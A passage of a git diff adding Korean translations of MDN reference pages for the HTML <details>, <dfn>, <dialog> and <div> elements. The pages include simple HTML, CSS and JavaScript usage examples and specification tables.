+    /* the element was toggled closed */
+  }
+});</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<p>이번 예제는 요약 없는 <code>&lt;details&gt;</code> 요소를 보입니다.</p>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<p>이렇게 사용하는 경우, 브라우저는 기본 요약 문자열("상세", "세부정보" 등)을 사용합니다. 아래에서 직접 확인해보세요.</p>
+
+<p>{{EmbedLiveSample("간단한_예제", 650, 150)}}</p>
+
+<h3 id="요약_제공하기">요약 제공하기</h3>
+
+<p>이번 예제는 이전 코드에 {{htmlelement("summary")}} 요소를 추가합니다.</p>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;summary&gt;System Requirements&lt;/summary&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("요약_제공하기", 650, 150)}}</p>
+
+<h3 id="열려있는_상태로_만들기">열려있는 상태로 만들기</h3>
+
+<p><code>&lt;details&gt;</code>가 처음부터 열려있는 상태로 나타나게 하려면 <code>open</code> 특성을 지정하세요.</p>
+
+<pre class="brush: html">&lt;details open&gt;
+  &lt;summary&gt;System Requirements&lt;/summary&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{EmbedLiveSample("열려있는_상태로_만들기", 650, 150)}}</p>
+
+<h3 id="외형_바꾸기">외형 바꾸기</h3>
+
+<p>이제 CSS를 추가해서 외형을 바꿔보겠습니다.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">details {
+  font: 16px "Open Sans", Calibri, sans-serif;
+  width: 620px;
+}
+
+details &gt; summary {
+  padding: 2px 6px;
+  width: 15em;
+  background-color: #ddd;
+  border: none;
+  box-shadow: 3px 3px 4px black;
+  cursor: pointer;
+}
+
+details &gt; p {
+  border-radius: 0 0 10px 10px;
+  background-color: #ddd;
+  padding: 2px 6px;
+  margin: 0;
+  box-shadow: 3px 3px 4px black;
+}
+</pre>
+
+<p>위의 CSS는 탭 인터페이스 같은 외형을 적용합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;summary&gt;System Requirements&lt;/summary&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("외형_바꾸기", 650, 150)}}</p>
+
+<h3 id="위젯_바꾸기">위젯 바꾸기</h3>
+
+<p>넓게 지원되지는 않지만, 열림/닫힘을 나타내는 삼각형의 외형도 바꿀 수 있습니다. 요소의 표준화 과정 중 추가된 실험적 구현이기 때문에 브라우저의 지원에 차이가 있으므로, 당분간 여러 방식을 함께 사용해야 합니다.</p>
+
+<p>{{HTMLElement("summary")}} 요소는 {{cssxref("list-style")}} 단축 속성과, 그 본디 속성인 {{cssxref("list-style-type")}} 등을 지원하므로, {{cssxref("list-style-image")}} 속성 등을 사용해 삼각형을 원하는대로 바꿀 수 있습니다. 삼각형을 아예 제거하려면 <code>list-style: none</code>을 지정하면 됩니다.</p>
+
+<p>그러나 Chrome은 위의 방법을 아직 지원하지 않습니다. 따라서 비표준 <code>::-webkit-details-marker</code> <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 사용해야 합니다.</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css; highlight:[12, 15-17]">details {
+  font: 16px "Open Sans", Calibri, sans-serif;
+  width: 620px;
+}
+
+details &gt; summary {
+  padding: 2px 6px;
+  width: 15em;
+  background-color: #ddd;
+  border: none;
+  box-shadow: 3px 3px 4px black;
+  cursor: pointer;
+  list-style: none;
+}
+
+details &gt; summary::-webkit-details-marker {
+  display: none;
+}
+
+details &gt; p {
+  border-radius: 0 0 10px 10px;
+  background-color: #ddd;
+  padding: 2px 6px;
+  margin: 0;
+  box-shadow: 3px 3px 4px black;
+}
+</pre>
+
+<p>위의 CSS도 탭 인터페이스같은 외형을 적용하며, 이에 더해 삼각형을 제거합니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;details&gt;
+  &lt;summary&gt;System Requirements&lt;/summary&gt;
+  &lt;p&gt;Requires a computer running an operating system. The computer
+  must have some memory and ideally some kind of long-term storage.
+  An input device as well as some form of output device is
+  recommended.&lt;/p&gt;
+&lt;/details&gt;</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("위젯_바꾸기", 650, 150)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'interactive-elements.html#the-details-element', '&lt;details&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'semantics.html#the-details-element', '&lt;details&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.details")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTMLElement("summary")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/dfn/index.html b/files/ko/web/html/element/dfn/index.html
new file mode 100644
index 0000000000..fd4069a35e
--- /dev/null
+++ b/files/ko/web/html/element/dfn/index.html
@@ -0,0 +1,196 @@
+---
+title: '<dfn>: 정의 요소'
+slug: Web/HTML/Element/dfn
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/dfn
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;dfn&gt;</code> 요소</strong>는 현재 맥락이나 문장에서 정의하고 있는 용어를 나타냅니다.</span> <code>&lt;dfn&gt;</code>에서 가장 가까운 {{htmlelement("p")}}, {{htmlelement("dt")}}/{{htmlelement("dd")}} 쌍, {{htmlelement("section")}} 조상 요소를 용어 정의로 간주합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/dfn.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>. 단, 다른 {{htmlelement("dfn")}} 요소는 불가능.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td>{{ARIARole("definition")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p><span style="line-height: 21px;">이 요소는 </span><a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;dfn&gt;</code> 요소를 보는 것 만으로는 그다지 명확하지 않은 부분이 있습니다.</p>
+
+<h3 id="정의하고_있는_용어_지정하기">정의하고 있는 용어 지정하기</h3>
+
+<p>다음 규칙을 따라 현재 용어가 어느건지 판별합니다.</p>
+
+<ol>
+ <li><code>&lt;dfn&gt;</code> 요소가 {{htmlattrxref("title")}} 특성을 가지고 있으면 그 값을 현재 정의 중인 용어로 간주합니다. <code>&lt;dfn&gt;</code>은 여전히 텍스트 콘텐츠를 가지고 있겠지만, 완전한 용어 대신 준말({{htmlelement("abbr")}})을 넣을 수도 있고, 다른 대체 형태일 수도 있습니다.</li>
+ <li><code>&lt;dfn&gt;</code>이 다른 텍스트는 없이 하나의 자식만 가지는데, 그 자식이 <code>title</code> 특성을 가진{{htmlelement("abbr")}}인 경우, 자식 <code>&lt;abbr&gt;</code>의 <code>title</code> 특성 값을 현재 용어로 간주합니다.</li>
+ <li>모두 아닌 경우 <code>&lt;dfn&gt;</code>의 텍스트 콘텐츠를 현재 용어로 간주합니다. {{anch("기본적인 용어 식별", "아래의 첫 번째 예제")}}에서 확인할 수 있습니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>참고:</strong> <code>&lt;dfn&gt;</code> 요소가 <code>title</code> 특성을 가진 경우, 그 값은 정의 중인 용어여야 하며 다른 텍스트는 들어가선 안됩니다.</p>
+</div>
+
+<h3 id="&lt;dfn>_요소를_가리키는_링크"><code>&lt;dfn&gt;</code> 요소를 가리키는 링크</h3>
+
+<p><code>&lt;dfn&gt;</code> 요소에 {{htmlattrxref("id")}} 특성을 지정하면 {{HTMLElement("a")}} 요소로 <code>&lt;dfn&gt;</code>을 가리킬 수 있습니다. 사용자가 용어 뜻을 잘 모를 경우, 링크를 클릭해 빠르게 정의를 확인할 수 있습니다. 따라서 링크 콘텐츠는 용어의 사용 예시 등을 담고 있어야 합니다.</p>
+
+<p>{{anch("정의로 링크", "정의로 링크 예제")}}에서 확인할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다양한 상황의 예제를 살펴보겠습니다.</p>
+
+<h3 id="기본적인_용어_식별">기본적인 용어 식별</h3>
+
+<p>아래 코드는 간단하게 <code>&lt;dfn&gt;</code> 요소를 사용해, 정의 문단 내의 용어를 식별합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The &lt;strong&gt;HTML Definition element&lt;/strong&gt;
+(&lt;strong&gt;&lt;dfn&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;) is used to indicate the
+term being defined within the context of a definition phrase or
+sentence.&lt;/p&gt;</pre>
+
+<p><code>&lt;dfn&gt;</code> 요소에 <code>title</code>이 없으므로 <code>&lt;dfn&gt;</code>의 텍스트 콘텐츠가 현재 정의 중인 용어입니다.</p>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("기본적인_용어_식별", 650, 120)}}</p>
+
+<h3 id="정의로_링크">정의로 링크</h3>
+
+<p>용어의 정의로 링크하는 건 {{htmlelement("a")}} 요소로 다른 링크를 만드는 방법과 같습니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The &lt;strong&gt;HTML Definition element&lt;/strong&gt;
+(&lt;strong&gt;&lt;dfn id="definition-dfn"&gt;&amp;lt;dfn&amp;gt;&lt;/dfn&gt;&lt;/strong&gt;) is
+used to indicate the term being defined within the context of a
+definition phrase or sentence.&lt;/p&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Graece
+donan, Latine voluptatem vocant. Confecta res esset. Duo Reges:
+constructio interrete. Scrupulum, inquam, abeunti; &lt;/p&gt;
+
+&lt;p&gt;Negare non possum. Dat enim intervalla et relaxat. Quonam modo?
+Equidem e Cn. Quid de Pythagora? In schola desinis. &lt;/p&gt;
+
+&lt;p&gt;Ubi ut eam caperet aut quando? Cur iustitia laudatur? Aperiendum
+est igitur, quid sit voluptas; Quid enim? Non est igitur voluptas
+bonum. Urgent tamen et nihil remittunt. Quid enim possumus hoc
+agere divinius? &lt;/p&gt;
+
+&lt;p&gt;Because of all of that, we decided to use the
+&lt;code&gt;&lt;a href="#definition-dfn"&gt;&amp;lt;dfn&amp;gt;&lt;/a&gt;&lt;/code&gt; element for
+this project.&lt;/p&gt;</pre>
+
+<p>이번에는 {{htmlattrxref("id")}} 특성에 <code>"definition-dfn"</code>을 사용한 용어 정의입니다. 코드 뒤쪽에서는 <code>&lt;a&gt;</code> 태그와 {{htmlattrxref("href", "a")}} 특성 값 <code>"#definition-dfn"</code>으로, 정의를 가리키는 링크를 생성합니다.</p>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("정의로_링크", 650, 300)}}</p>
+
+<h3 id="준말과_정의_같이_사용하기">준말과 정의 같이 사용하기</h3>
+
+<p>어떤 경우, 용어를 정의할 때 머리글자 등 준말을 사용하고 싶을 때가 있습니다. 그럴 땐 <code>&lt;dfn&gt;</code>과 {{HTMLElement("abbr")}} 요소를 조합하면 됩니다.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The &lt;dfn&gt;&lt;abbr title="Hubble Space Telescope"&gt;HST&lt;/abbr&gt;&lt;/dfn&gt;
+is among the most productive scientific instruments ever constructed.
+It has been in orbit for over 20 years, scanning the sky and
+returning data and photographs of unprecedented quality and
+detail.&lt;/p&gt;
+
+&lt;p&gt;Indeed, the &lt;abbr title="Hubble Space Telescope"&gt;HST&lt;/abbr&gt; has
+arguably done more to advance science than any device ever built.&lt;/p&gt;</pre>
+
+<p><code>&lt;dfn&gt;</code> 요소 안에 배치한 <code>&lt;abbr&gt;</code>을 주목하세요. <code>&lt;abbr&gt;</code>은 준말("HST")과 함께 <code>title</code> 특성으로 전체 용어("Hubble Space Telescope")를 지정합니다. <code>&lt;dfn&gt;</code>은 <code>&lt;abbr&gt;</code>의 준말을 현재 정의하고 있음을 나타냅니다.</p>
+
+<h4 id="결과_3">결과</h4>
+
+<p>{{EmbedLiveSample("준말과_정의_같이_사용하기", 650, 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-dfn-element', '&lt;dfn&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-dfn-element', '&lt;dfn&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.1', '&lt;dfn&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.dfn")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>용어 정의 관련 요소: {{HTMLElement("dl")}}, {{HTMLElement("dt")}}, {{HTMLElement("dd")}}</li>
+ <li>{{HTMLElement("abbr")}}</li>
+</ul>
diff --git a/files/ko/web/html/element/dialog/index.html b/files/ko/web/html/element/dialog/index.html
new file mode 100644
index 0000000000..d54f8e313f
--- /dev/null
+++ b/files/ko/web/html/element/dialog/index.html
@@ -0,0 +1,180 @@
+---
+title: '<dialog>: 대화 상자 요소'
+slug: Web/HTML/Element/dialog
+tags:
+  - Element
+  - HTML
+  - HTML interactive elements
+  - Reference
+  - Web
+  - polyfill
+  - 대화 상자
+translation_of: Web/HTML/Element/dialog
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;dialog&gt;</code> 요소</strong>는 닫을 수 있는 경고, 검사기, 창 등 대화 상자 및 기타 다른 상호작용 가능한 컴포넌트를 나타냅니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 구획 루트.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="/ko/docs/Web/Accessibility/ARIA/Roles/dialog_role"><code>dialog</code> </a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>{{ARIARole("alertdialog")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLDialogElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<div class="blockIndicator warning">
+<p><code>tabindex</code> 특성을 <code>&lt;dialog&gt;</code> 요소에 사용해서는 안됩니다.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("open")}}</dt>
+ <dd>대화 상자가 활성 상태이며 상호작용할 수 있음을 나타냅니다. <code>open</code> 특성이 없을 때 대화 상자가 사용자에게 보여서는 안됩니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<ul>
+ <li><code>method="dialog"</code> 특성을 사용한 {{htmlelement("form")}} 요소는 제출 시 대화 상자를 닫습니다. 이 때, 대화 상자의 {{domxref("HTMLDialogElement.returnValue", "returnValue")}} 속성은 양식을 제출할 때 사용한 버튼의 {{htmlattrxref("value", "button")}}으로 설정됩니다.</li>
+ <li>CSS {{cssxref('::backdrop')}} <a href="/ko/docs/Web/CSS/Pseudo-elements">의사 요소</a>를 사용하면, {{domxref("HTMLDialogElement.showModal()")}} 메서드를 사용해 활성화한 <code>&lt;dialog&gt;</code> 요소의 뒤에 스타일을 적용할 수 있습니다. 예를 들면, 모달 대화 상자가 활성화되어 있는 동안 접근할 수 없는 뒤쪽 요소를 어둡게 만들 때 사용합니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: html">&lt;dialog open&gt;
+  &lt;p&gt;여러분 안녕하세요!&lt;/p&gt;
+&lt;/dialog&gt;
+</pre>
+
+<h3 id="고급_예제">고급 예제</h3>
+
+<p>다음 예제는 "상세정보 업데이트" 버튼을 클릭할 경우 양식을 포함한 팝업 대화 상자를 엽니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;!-- 간단한 양식을 포함한 팝업 대화 상자 --&gt;
+&lt;dialog id="favDialog"&gt;
+  &lt;form method="dialog"&gt;
+    &lt;p&gt;&lt;label&gt;좋아하는 동물:
+      &lt;select&gt;
+        &lt;option&gt;&lt;/option&gt;
+        &lt;option&gt;아르테미아&lt;/option&gt;
+        &lt;option&gt;레서판다&lt;/option&gt;
+        &lt;option&gt;거미원숭이&lt;/option&gt;
+      &lt;/select&gt;
+    &lt;/label&gt;&lt;/p&gt;
+    &lt;menu&gt;
+      &lt;button value="cancel"&gt;취소&lt;/button&gt;
+      &lt;button id="confirmBtn" value="default"&gt;확인&lt;/button&gt;
+    &lt;/menu&gt;
+  &lt;/form&gt;
+&lt;/dialog&gt;
+
+&lt;menu&gt;
+  &lt;button id="updateDetails"&gt;상세정보 업데이트&lt;/button&gt;
+&lt;/menu&gt;
+
+&lt;output aria-live="polite"&gt;&lt;/output&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var updateButton = document.getElementById('updateDetails');
+var favDialog = document.getElementById('favDialog');
+var outputBox = document.getElementsByTagName('output')[0];
+var selectEl = document.getElementsByTagName('select')[0];
+var confirmBtn = document.getElementById('confirmBtn');
+
+// “Update details” button opens the &lt;dialog&gt; modally
+updateButton.addEventListener('click', function onOpen() {
+  if (typeof favDialog.showModal === "function") {
+    favDialog.showModal();
+  } else {
+    alert("The &lt;dialog&gt; API is not supported by this browser");
+  }
+});
+// "Favorite animal" input sets the value of the submit button
+selectEl.addEventListener('change', function onSelect(e) {
+  confirmBtn.value = selectEl.value;
+});
+// "Confirm" button of form triggers "close" on dialog because of [method="dialog"]
+favDialog.addEventListener('close', function onClose() {
+  outputBox.value = favDialog.returnValue + " button clicked - " + (new Date()).toString();
+});</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("고급_예제", "100%", 300)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'interactive-elements.html#the-dialog-element', '&lt;dialog&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>최초 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 호환성 표는 구조화된 데이터에서 자동 생성되었습니다. 이 데이터에 참여를 원하시면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 으로 이동하셔서 pull request를 하시면 됩니다.</div>
+
+<p>{{Compat("html.elements.dialog")}}</p>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p>지원하지 않는 브라우저에서 <code>&lt;dialog&gt;</code>를 사용하려면 <a href="https://github.com/GoogleChrome/dialog-polyfill">dialog-polyfill</a>을 추가하세요.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{event("close")}} 이벤트</li>
+ <li>{{event("cancel")}} 이벤트</li>
+ <li>{{cssxref("::backdrop")}} 의사 요소</li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML 양식</a> 안내서</li>
+</ul>
diff --git a/files/ko/web/html/element/div/index.html b/files/ko/web/html/element/div/index.html
new file mode 100644
index 0000000000..3fd7ebd390
--- /dev/null
+++ b/files/ko/web/html/element/div/index.html
@@ -0,0 +1,147 @@
+---
+title: '<div>: 콘텐츠 분할 요소'
+slug: Web/HTML/Element/div
+tags:
+  - Element
+  - HTML
+  - HTML grouping content
+  - 'HTML:Flow content'
+  - Layout
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/div
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;div&gt;</code> 요소</strong>는 플로우 콘텐츠를 위한 통용 컨테이너입니다. {{glossary("CSS")}}로 꾸미기 전에는 콘텐츠나 레이아웃에 어떤 영향도 주지 않습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/div.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p><code>&lt;div&gt;</code> 요소는 "순수" 컨테이너로서 아무것도 표현하지 않습니다. 대신 다른 요소 여럿을 묶어 {{htmlattrxref("class")}}나 {{htmlattrxref("id")}} 속성으로 꾸미기 쉽도록 돕거나, 문서의 특정 구역이 다른 언어임을 표시({{htmlattrxref("lang")}} 속성 사용)하는 등의 용도로 사용할 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, 뚜렷한 콘텐츠</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.<br>
+    또는 ({{glossary("WHATWG")}} HTML에서): 부모가 {{HTMLElement("dl")}} 요소라면: 하나 이상의 {{HTMLElement("dt")}} 요소, 이후 하나 이상의 {{HTMLElement("dd")}} 요소, 선택적으로 {{HTMLElement("script")}}와 {{HTMLElement("template")}} 요소 혼합 가능.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>를 허용하는 아무 요소.<br>
+    또는 ({{glossary("WHATWG")}} HTML에서) {{HTMLElement("dl")}} 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">암시적 ARIA 역할</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">대응하는 역할 없음</a></td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLDivElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="예제" name="예제">사용 일람</h2>
+
+<ul>
+ <li><code>&lt;div&gt;</code> 요소는 의미를 가진 다른 요소({{htmlelement("article")}}, {{htmlelement("nav")}} 등)가 적절하지 않을 때만 사용해야 합니다.</li>
+</ul>
+
+<h2 id="예제" name="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<pre class="brush: html notranslate">&lt;div&gt;
+   &lt;p&gt;어떤 콘텐츠든 좋습니다.
+   &amp;lt;p&amp;gt;, &amp;lt;table&amp;gt;같이 말이죠. 써보세요!&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<p>{{ EmbedLiveSample('간단한_예제') }}</p>
+
+<h3 id="스타일_예제">스타일 예제</h3>
+
+<p>다음 예제는 CSS로 &lt;div&gt;에 그림자를 입힙니다. <code>&lt;div&gt;</code>의 {{htmlattrxref("class")}} 속성을 통해 <code>"shadowbox"</code> 스타일을 적용한 점에 주목하세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="notranslate">&lt;div class="shadowbox"&gt;
+  &lt;p&gt;Here's a very interesting note displayed in a
+  lovely shadowed box.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="notranslate">.shadowbox {
+  width: 15em;
+  border: 1px solid #333;
+  box-shadow: 8px 8px 5px #444;
+  padding: 8px 12px;
+  background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc);
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("스타일_예제", 650, 120)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">주석</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No changes since the latest snapshot</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-div-element', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Obsoleted <code>align</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.5.4', '&lt;div&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.div")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
